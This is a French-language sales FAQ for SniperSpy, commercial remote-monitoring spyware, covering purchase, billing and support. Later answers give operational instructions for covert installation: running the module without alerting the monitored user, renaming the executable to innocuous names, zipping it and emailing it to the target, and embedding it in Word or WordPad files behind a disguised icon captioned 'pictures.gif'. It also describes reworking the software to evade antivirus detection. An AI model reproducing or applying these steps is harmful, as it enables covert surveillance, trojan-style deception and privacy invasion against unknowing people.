Q: Comment je fais pour acheter SniperSpy en ligne?

Allez sur la page de COMMANDE. Suivez les écrans et entrer les informations demandés. Nous acceptons les cartes VISA, Mastercard, Discover et American Express ,ainsi que Paypal …pour les achats en ligne. Une fois votre commande terminée, vous recevrez immédiatement un email contenant un lien pour télécharger votre logiciel et les instructions étape par étape pour l'installation et l’utilisation.

Q: Quelle note de débit apparaîtra sur mon relevé de compte bancaire?

La transaction d’achat sur notre site apparaitra sur votre relevé de compte sous le nom de "Plimus, Inc" qui est notre partenaire de traitement des paiements sécurisés. Cette société de renommé mondiale gère des milliers de transactions bancaire sur internet pour le compte de plusieurs sociétés d’édition logiciels.

Q: Le processus de commande est-il sécurisé ?

Toutes les pages sont sécurisées avec la dernière technologie et certifié par Thawte et ScanAlert pour assurer une transaction 100% sécurisée et un achat confidentiel. Les pages de commande sont testés et certifiés chaque jour par ScanAlert HACKER SAFE. Un logo apparaîtra sur chaque page afin d'assurer qu'elle est bien testée.

Q: Quelle est votre politique de confidentialité?

Les bases de données client restent confidentielles et privées. Nous n'avons jamais vendu nos bases de données, ne le ferons pas dans le futur et ne les vendrons jamais aux "spammers" ou autres parties qui souhaitent utiliser nos bases de données pour la publicité ou pour offrir leurs produits ou services. Nos produits ne recueillent aucune information à partir de votre PC autre que les informations nécessaires à l'exploitation des nos produits, toujours couronnée de succès.

Q: Avez-vous un support technique?

Oui. Après votre achat vous recevrez un logiciel haut de gamme avec des instructions étape par étape, des mises à jour à vie, un support technique gratuit à vie aussi. Dans les rares cas de problème, notre équipe de support vous donnera étape par étape les instructions pour résoudre votre problème.

Q: SniperSpy Fonctionne-t-il avec ma connexion Internet?

SniperSpy fonctionne sur n'importe quelle connexion Internet. Il n'a pas d'importance si vous avez une connexion haut débit ou une connexion 56K.

Q:Quelqu'un peut-il accédez à mes données enregistrées?

Notre serveur conserve vos fichiers en toute sécurité. Personne ne peut accéder à vos données sans votre mot de passe secret.

Q:Est-ce que les utilisateurs sachent que SniperSpy est installé sur le PC distant?

Lors de la création de votre module vous avez le chois d’alerter l’utilisateur distant ou pas via l’option «alerter l'utilisateur au démarrage". Si vous n'avez pas choisi cette option alors rien ne s’affichera pour informer l'utilisateur.

Q: Puis-je installer SniperSpy partir d'une clé USB ou d'un CD-ROM?

Oui, si vous souhaitez installer le logiciel à partir d’un CD ou d’une clé USB, il suffit de créer votre module en fonction de vos besoins. Ensuite, copiez le fichier du module sur la clé USB ou sur un CD et puis lancer l’installation du logiciel sur l'ordinateur que vous souhaitez surveiller.

Q: Après la configuration de SniperSpy, comment dois-je le déployer à distance?

Le module peut être déployé à distance de plusieurs façons. La plus commune est de renommer le fichier .exe du module et utiliser un nom discret, comme eminem.exe ou blague.exe et ensuite le placer dans un fichier Zip. Ensuite envoyer le fichier Zip par e-mail à l’utilisateur distant. vous pouvez aussi inserer le module dans un fichier Word (voir ci-dessous)

Q: Comment puis-je insérer mon module dans un document Word?

Tout d'abord, vous devez créer le module.
1. Creer un nouveau document Word
2. Tapez ou collez le texte que vous souhaitez dans le document.
3. Placez le curseur à la première ligne du document.
4. Aller à Insertion> objet et cliquez sur l'onglet "Créer a partir d'un fichier".
5. Puis cliquez sur Parcourir et sélectionnez votre module. Cliquez sur Insérer.
6. Assurez-vous de cocher l'option "Afficher comme icône".
7. Cliquez sur l'icône "Changer"
8. Cliquez sur «Parcourir» et choisissez un fichier contenant des icônes telles que c: \ windows \ system32 \ shell32.dll afin de pouvoir l'extraire
9. Sélectionnez une icône pour afficher la liste. Mettez pictures.gif ou ce que vous voulez dans "Légende".
10. Puis cliquez sur OK et enregistrez le document Word et envoyez-le à votre ordinateur distant.
Note: Le document Word doit être ouvert et l'icône doit être double-cliqué pour que module soit exécuté.

Q: Comment puis-je insérer mon module dans un document WordPad?

Tout d'abord, vous devez créer le module.
1. Ouvrez un nouveau document WordPad.
2. Tapez ou collez le texte que vous souhaitez dans le document.
3. Placez le curseur sur la première ligne du document.
4. Aller à Insertion> Objet et cliquez sur l'onglet "Créer a partir d'un fichier".
5. Puis cliquez sur Parcourir et sélectionnez votre module. Cliquez sur Insérer.
6. Assurez-vous de cocher l'option "Afficher comme icône".
7. Puis cliquez sur OK et enregistrez le document Wordpad et l'envoyer à votre PC distant.
Note: Le document Wordpad doit être ouvert et l'icône doit être double-cliqué pour que module soit exécuté.

Q: Que faire si le module ne peut être exécutée par e-mail?

L'utilisateur distant doit exécuter le module pour que le programme soit installé. Si le module ne peut être exécuté par e-mail, vous devez l'exécuter localement. L’exécution du module à distance par l’utilisateur distant ne relève pas de notre responsabilité et aucun remboursement ne sera accordé si l'utilisateur distant n’exécute pas le module.

Q: Pourquoi rien ne se passe quand je lance le module que j'ai créé?

Le module que vous créez ne doit être installé sur le PC que vous souhaitez surveiller. Rien ne se produit parce que c'est ce que le module est conçu pour faire. Si SniperSpy est installé sur le même PC que vous voulez surveiller vous devez le désinstaller puis déployer le module .EXE que vous avez crée.

Q: Comment puis-je désinstaller SniperSpy à distance?

Pour désinstaller SniperSpy sur un PC distant, il suffit de vous connecter au panneau de commande en ligne. Ensuite, sélectionnez "Désinstaller SniperSpy" dans le menu de gauche. Le logiciel va alors se supprimer totalement lui-même en quelques minutes.

Q: Comment afficher les données enregistrées par le logiciel?

Après avoir déployé le module sur votre PC à distance, vous devez vous connecter à votre panneau de commande en ligne en utilisant votre nom d'utilisateur et mot de passe pour pouvoir visualiser les données enregistrées par SniperSpy.

Q: SniperSpy est-il détecté par les antivirus?

Chaque fois que notre logiciel est détecté nous travaillons pour assurer une mise à jour pour éliminer le problème. Toutefois, aucun remboursement ne sera accordé en raison de conflit à l'intérieur de tous les programmes tiers. Tous les programmes anti-virus ont une façon pour «exclure» le programme des contrôles et autoriser sans execution. Nous incluons également des instructions étape-par-étape pour Norton, McAfee, Spy Sweeper et plus.